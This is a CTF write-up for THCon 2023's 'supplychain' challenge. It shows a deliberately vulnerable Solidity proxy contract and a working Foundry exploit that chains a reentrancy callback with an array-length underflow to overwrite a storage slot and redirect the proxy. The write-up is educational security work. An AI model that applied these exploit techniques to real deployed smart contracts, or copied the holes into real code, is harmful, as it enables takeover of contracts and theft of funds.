THCon 2023 “supplychain” writeup¶
This is a writeup from the “supplychain” challenge of the CTF for THCon 2023, made by Dridri.
The challenge¶
We are given the following solidity code:
pragma solidity ^0.5.16;
interface myProxy {
function updateCtf(bool status, string calldata _globalMessage) external;
function thc(uint _wad, string calldata _elmnt, bytes32 _elmnt2) external returns (bool);
function isLocked() external view returns(bool);
function getMsg() external view returns(string memory);
}
interface player {
function notify(address fromPlayer) external;
function unsubscribe() external;
}
contract thcProxy {
address private owner;
address public lastAddressActive;
myProxy public proxy;
//storing players partipating in ctf
player[] public players;
//one confidential message slot per player
bytes20[] public messages;
constructor() public {
owner = msg.sender;
players = new player[](0);
messages = new bytes16[](0);
}
modifier onlyProxy() {
require(msg.sender == address(proxy));
_;
}
// proxied functions ----
function thc(uint wad, string calldata elmnt, bytes32 elmnt2) external returns (bool) {
bool result = proxy.thc(wad, elmnt, elmnt2);
if(lastAddressActive != msg.sender)lastAddressActive = msg.sender;
return result;
}
function updateCtf(bool status, string calldata _globalMessage) external onlyProxy {
proxy.updateCtf(status, _globalMessage);
if(lastAddressActive != msg.sender)lastAddressActive = msg.sender;
}
// ----------------------
function playerPlaying(address _add) public view returns (int){
uint i = 0;
int returnSlot = -1;
bool ok = false;
while(!ok){
if(i == players.length){
ok = true;
}
else if(address(players[i]) == _add){
ok = true;
returnSlot = int(i);
}
else {
i++;
}
}
return returnSlot;
}
// proxy related functions -------
function newPlayer() public {
//player must not be in the list
require(playerPlaying(msg.sender) == -1);
//add player to the list
players.push(player(msg.sender));
messages.push(bytes16(0));
if(lastAddressActive != msg.sender)lastAddressActive = msg.sender;
}
function removePlayer(uint playercurrentlocation) public {
//player must be in the list (use playercurrentlocation for gas saving. Avoid to lookup for entire array)
require(msg.sender == address(players[playercurrentlocation]), "RemovePlayer - Player is not playing");
//move the player away
players[uint(playercurrentlocation)] = players[players.length - 1];
//we notify the player that he will be unsubscribed
player(msg.sender).unsubscribe();
//remove current player
players.length--;
messages.length--;
if(lastAddressActive != msg.sender)lastAddressActive = msg.sender;
}
function sendMessageTo(uint _to, bytes20 message, uint playercurrentlocation) public {
//player must be in the list (use playercurrentlocation for gas saving. Avoid to lookup for entire array)
require(msg.sender == address(players[playercurrentlocation]), "SendMessage - Player is not playing");
//store message in bytes20 format
messages[_to] = message;
if(lastAddressActive != msg.sender)lastAddressActive = msg.sender;
}
// -----------------------------
// proxied storage
function isLocked() public view returns (bool) {
return proxy.isLocked();
}
function getMsg() public view returns (string memory) {
return proxy.getMsg();
}
}
And get a single-use contract deployed for our team on some private network.
The goal is to have isLocked()
return false.
Analysis¶
At first I was a bit confused about this proxy
contract that seems very important but seems completely
external, and also the player interface that is called by the contract…
However it’s easy to notice how it’s using an old Solidity version (overflows?) but also manipulating solidity array length by hand, which could lead to array underflows!
The idea is that at the base storage slot of an array you have the array length alone. The actual array content
starts at slot keccak(base_slot)
and takes as many slots as the length. If you are able to have the
array length be uint(-1)
then the array has an infinite length and you can write anywhere in memory, because
the bounds check will always pass.
I figured that by calling newPlayer()
then removePlayer(0)
twice I would end up with an array
of infinite size, but also lastAddressActive
would be msg.sender
.
Then I can call sendMessageTo
which allows me to set a slot anywhere I want. I only need to pass
a correct playercurrentlocation
so that players[playercurrentlocation]
would point to
lastAddressActive
which is my address (I’m sure this is the only reason why lastAddressActive
was
added to this contract).
The previous step would allow me to write to the proxy
slot: I can point to a contract I created, that
would contain a proxy that would always return true
to isLocked
.
Implementation¶
Now, this all sounds doable but it would be a pain to test and debug, so I decided to use Foundry. I put the code
above in a supplychain.sol
file, and wrote a test:
pragma solidity ^0.5;
import "../src/supplychain.sol";
contract FakeProxy {
function isLocked() public view returns (bool) {
return false;
}
}
contract SupplychainTest {
thcProxy public supplychain;
bool public attacked;
constructor() external {
supplychain = thcProxy("");
}
function testHack() public {
supplychain.newPlayer();
supplychain.removePlayer(0);
supplychain.removePlayer(0);
FakeProxy p = new FakeProxy();
uint256 messages_base = 62514009886607029107290561805838585334079798074568712924583230797734656856475; // keccak(uint256(4))
uint256 players_base = 87903029871075914254377627908054574944891091886930582284385770809450030037083; // keccak(uint256(3))
uint256 proxy_slot = 2;
uint256 address_slot = 1;
supplychain.sendMessageTo(proxy_slot - messages_base, bytes20(address(p)), address_slot - players_base);
require(!supplychain.isLocked());
}
This didn’t work. Using the Foundry debugger I was able to see it crash on the players[players.length - 1]
access of the second removePlayer
call: here the array still has a length of zero, and we are accessing the index uint(-1)
which is bigger, so it crashes.
However the solution was pretty obvious: this player(msg.sender).unsubscribe();
in the middle of removePlayer()
always looked strange.
Now, we can use this to do a classic reentrancy attack: this is a callback to our own contract, so we can call removePlayer
recursively, before the length is decremented:
pragma solidity ^0.5;
import "../src/supplychain.sol";
contract FakeProxy {
function isLocked() public view returns (bool) {
return false;
}
}
contract SupplychainTest {
thcProxy public supplychain;
bool public attacked;
constructor() external {
supplychain = thcProxy("");
}
function unsubscribe() external {
if(!attacked) {
attacked = true;
supplychain.removePlayer(0);
}
}
function testHack() public {
supplychain.newPlayer();
supplychain.removePlayer(0);
FakeProxy p = new FakeProxy();
uint256 messages_base = 62514009886607029107290561805838585334079798074568712924583230797734656856475; // keccak(uint256(4))
uint256 players_base = 87903029871075914254377627908054574944891091886930582284385770809450030037083; // keccak(uint256(3))
uint256 proxy_slot = 2;
uint256 address_slot = 1;
supplychain.sendMessageTo(proxy_slot - messages_base, bytes20(address(p)), address_slot - players_base);
require(!supplychain.isLocked());
}
}
And this works perfectly, I was able to deploy the contract (pointing to the correct thcProxy
), and run it.
This was a pretty fun challenge overall, I like how it combines array underflow with reentrancy.